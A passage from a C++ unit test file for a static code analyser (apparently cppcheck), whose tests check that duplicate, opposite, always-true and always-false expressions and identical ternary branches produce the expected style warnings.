[knownConditionTrueFalse]\\n\",\n errout_str());\n\n // 6906\n check(\"void f(const bool b) {\\n\"\n \" const bool b1 = !b;\\n\"\n \" if(!b && b1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:10]: (style) Same expression on both sides of '&&' because '!b' and 'b1' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 7284\n check(\"void f(void) {\\n\"\n \" if (a || !!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Same expression on both sides of '||' because 'a' and '!!a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 8205\n check(\"void f(int x) {\\n\"\n \" int Diag = 0;\\n\"\n \" switch (x) {\\n\"\n \" case 12:\\n\"\n \" if (Diag==0) {}\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:5:16]: (style) The comparison 'Diag == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9744\n check(\"void f(const std::vector& ints) {\\n\"\n \" int i = 0;\\n\"\n \" for (int p = 0; i < ints.size(); ++i) {\\n\"\n \" if (p == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:4:15]: (style) The comparison 'p == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11820\n check(\"unsigned f(unsigned x) {\\n\"\n \" return x - !!x;\\n\"\n \"}\\n\"\n \"unsigned g(unsigned x) {\\n\"\n \" return !!x - x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression8() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" a = 2;\\n\"\n \" if ( b != a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = a[i]; a[i] = 2; if ( b != a[i]){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = *a; *a = 2; if ( b != *a){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int f() const; };\\n\"\n \"A g();\\n\"\n \"void foo() {\\n\"\n \" for (A x = A();;) {\\n\"\n \" const int a = x.f();\\n\"\n \" x = g();\\n\"\n \" if (x.f() == a) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i);\\n\"\n \"struct A {\\n\"\n \" enum E { B, C };\\n\"\n \" bool f(E);\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if(!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool * const b);\\n\"\n \"void foo() {\\n\"\n \" bool x = true;\\n\"\n \" bool y = true;\\n\"\n \" f(&x);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int a = {};\\n\"\n \" if(a == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"volatile const int var = 42;\\n\"\n \"void f() { if(var == 42) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" struct b c;\\n\"\n \" c.a = &a;\\n\"\n \" g(&c);\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression9() {\n // #9320\n check(\"void f() {\\n\"\n \" uint16_t x = 1000;\\n\"\n \" uint8_t y = x;\\n\"\n \" if (x != y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression10() {\n // #9485\n check(\"int f() {\\n\"\n \" const int a = 1;\\n\"\n \" const int b = a-1;\\n\"\n \" const int c = a+1;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression11() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" double getScale() const { return m_range * m_zoom; }\\n\"\n \" void setZoom(double z) { m_zoom = z; }\\n\"\n \" void dostuff(int);\\n\"\n \"private:\\n\"\n \" double m_zoom;\\n\"\n \" double m_range;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void Fred::dostuff(int x) {\\n\"\n \" if (x == 43) {\\n\"\n \" double old_scale = getScale();\\n\"\n \" setZoom(m_zoom + 1);\\n\"\n \" double scale_ratio = getScale() / old_scale;\\n\" // <- FP\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression12() { //#10026\n check(\"int f(const std::vector &buffer, const uint8_t index)\\n\"\n \"{\\n\"\n \" int var = buffer[index - 1];\\n\"\n \" return buffer[index - 1] - var;\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:4:34]: (style) Same expression on both sides of '-' because 'buffer[index-1]' and 'var' represent the same value. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression13() { //#7899\n check(\"void f() {\\n\"\n \" if (sizeof(long) == sizeof(long long)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression14() { //#9871\n check(\"int f() {\\n\"\n \" int k = 7;\\n\"\n \" int* f = &k;\\n\"\n \" int* g = &k;\\n\"\n \" return (f + 4 != g + 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:5:19]: (style) The comparison 'f+4 != g+4' is always false because 'f+4' and 'g+4' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void duplicateExpression15() { //#10650\n check(\"bool f() {\\n\"\n \" const int i = int(0);\\n\"\n \" return i == 0;\\n\"\n \"}\\n\"\n \"bool g() {\\n\"\n \" const int i = int{ 0 };\\n\"\n \" return i == 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:22] -> [test.cpp:7:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void duplicateExpression16() {\n check(\"void f(const std::string& a) {\\n\" //#10569\n \" if ((a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\"\n \"void g(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\")) {}\\n\"\n \"}\\n\"\n \"void h(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28] -> [test.cpp:4:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:7:28] -> [test.cpp:9:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:13:28] -> [test.cpp:16:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\",\n errout_str());\n\n check(\"void f(const char* s) {\\n\" // #6371\n \" if (*s == '\\x0F') {\\n\"\n \" if (!s[1] || !s[2] || !s[1])\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same expression '!s[1]' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression17() {\n check(\"enum { E0 };\\n\" // #12036\n \"void f() {\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (E0 > 0) {}\\n\"\n \" if (E0 == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:12]: (style) The comparison 'E0 > 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) The comparison 'E0 == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12040, #12044\n \" static const int I = 0;\\n\"\n \" enum { E0 };\\n\"\n \" enum F { F0 };\\n\"\n \" void f() {\\n\"\n \" if (0 > I) {}\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void g() {\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" if (0 > S::F::F0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:6:15]: (style) The comparison '0 > I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:7:15]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:15]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:9:15]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:13:11]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:14:11]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:15:11]: (style) The comparison '0 > S::F::F0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"template\\n\" // #12122\n \"void f() {\\n\"\n \" static_assert(std::is_same::value || std::is_integral::value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression18() {\n checkP(\"#if defined(ABC)\\n\" // #13218\n \"#define MACRO1 (0x1)\\n\"\n \"#else\\n\"\n \"#define MACRO1 (0)\\n\"\n \"#endif\\n\"\n \"#if defined(XYZ)\\n\"\n \"#define MACRO2 (0x2)\\n\"\n \"#else\\n\"\n \"#define MACRO2 (0)\\n\"\n \"#endif\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionLoop() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" while ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:15]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() { int a = 1; while ( a != 1){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { int a = 1; for ( int i=0; i < 3 && a != 1; i++){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) { int a = 1; while (b) { if ( a != 1){} b++; } a++; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:15]: (style) The comparison 'i != 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" while(i < 10) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" while (b) {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:4:16]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct T {\\n\" // #11083\n \" std::string m;\\n\"\n \" const std::string & str() const { return m; }\\n\"\n \" T* next();\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" const std::string& s = t->str();\\n\"\n \" while (t && t->str() == s)\\n\"\n \" t = t->next();\\n\"\n \" do {\\n\"\n \" t = t->next();\\n\"\n \" } while (t && t->str() == s);\\n\"\n \" for (; t && t->str() == s; t = t->next());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string &out, const std::vector &list) {\\n\" // #13669\n \" for (int i = 0, size = list.size(); i < size; i++) {\\n\"\n \" out += list[i];\\n\"\n \" if (size > 0 && i < (size - 2))\\n\"\n \" out += \\\",\\\";\\n\"\n \" else if (i == (size - 1))\\n\"\n \" out += \\\".\\\";\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTernary() { // #6391\n check(\"void f() {\\n\"\n \" return A ? x : x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"int f(bool b, int a) {\\n\"\n \" const int c = a;\\n\"\n \" return b ? a : c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:3:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return A ? x : z;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" x = y ? (signed char)c : (unsigned char)c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string stringMerge(std::string const& x, std::string const& y) {\\n\" // #7938\n \" return ((x > y) ? (y + x) : (x + y));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6426\n {\n const char code[] = \"void foo(bool flag) {\\n\"\n \" bar( (flag) ? ~0u : ~0ul);\\n\"\n \"}\";\n /*const*/ Settings settings = _settings;\n settings.platform.sizeof_int = 4;\n settings.platform.int_bit = 32;\n\n settings.platform.sizeof_long = 4;\n settings.platform.long_bit = 32;\n check(code, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n settings.platform.sizeof_long = 8;\n settings.platform.long_bit = 64;\n check(code, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void duplicateValueTernary() {\n check(\"void f() {\\n\"\n \" if( a ? (b ? false:false): false ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f1(int a) {return (a == 1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f2(int a) {return (a == 1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f3(int a) {return (a == 1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f4(int a) {return (a == 1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f5(int a) {return (a == (int)1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f6(int a) {return (a == (int)1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f7(int a) {return (a == (int)1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f8(int a) {return (a == (int)1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo foo;\\n\"\n \" it = true ? foo.bar.begin() : foo.baz.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \" std::vector v = b ? bar : baz;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool q) {\\n\" // #9570\n \" static int a = 0;\\n\"\n \" static int b = 0;\\n\"\n \" int& x = q ? a : b;\\n\"\n \" ++x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a, b; };\\n\" // #10107\n \"S f(bool x, S s) {\\n\"\n \" (x) ? f.a = 42 : f.b = 42;\\n\"\n \" return f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) {\\n\" // # 11368\n \" return (x >= 0.0) ? 0.0 : -0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTemplate() {\n check(\"template void f() {\\n\" // #6930\n \" if (I >= 0 && I < 3) {}\\n\"\n \"}\\n\"\n \"\\n\"\n \"static auto a = f<0>();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\" // #7754\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef long long int64_t;\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define int32_t int\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define F(v) (v) != 0\\n\" // #12392\n \"template\\n\"\n \"void f() {\\n\"\n \" if (F(0)) {}\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionCompareWithZero() {\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'x!=0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x != 0 && b) || (x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x!=0&&b' and 'x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (b && x != 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'b&&x!=0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'x==0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x == 0 && b) || (!x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x==0&&b' and '!x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (b && x == 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'b&&x==0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* getX() const;\\n\"\n \" bool getB() const;\\n\"\n \" void f() {\\n\"\n \" if ((getX() && getB()) || (getX() != 0 && getB())) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:32]: (style) Same expression on both sides of '||' because 'getX()&&getB()' and 'getX()!=0&&getB()' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeExpression() {\n check(\"void f(bool a) { if(a && !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '&&'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if(a != !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) == a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) != a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f1(bool a) {\\n\"\n \" const bool b = a;\\n\"\n \" if( a == !(b) ) {}\\n\"\n \" if( b == !(a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f2(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { a = !a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { if( a < -a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '<'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(int a) { a -= -a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { a = a / (-a); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int i){ return !((i - 1) & i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(unsigned i){ return (x > 0) && (x & (x-1)) == 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void A::f(bool a, bool c)\\n\"\n \"{\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool c) {\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool x = a;\\n\"\n \" dostuff();\\n\"\n \" if (x && a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const bool b = g();\\n\"\n \" if (!b && g()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( b == !(a[42]) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( a[42] == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(uint16_t u) {\\n\" // #9342\n \" if (u != (u & -u))\\n\"\n \" return false;\\n\"\n \" if (u != (-u & u))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpression() {\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" Foo f2 = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:5:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = 1 + 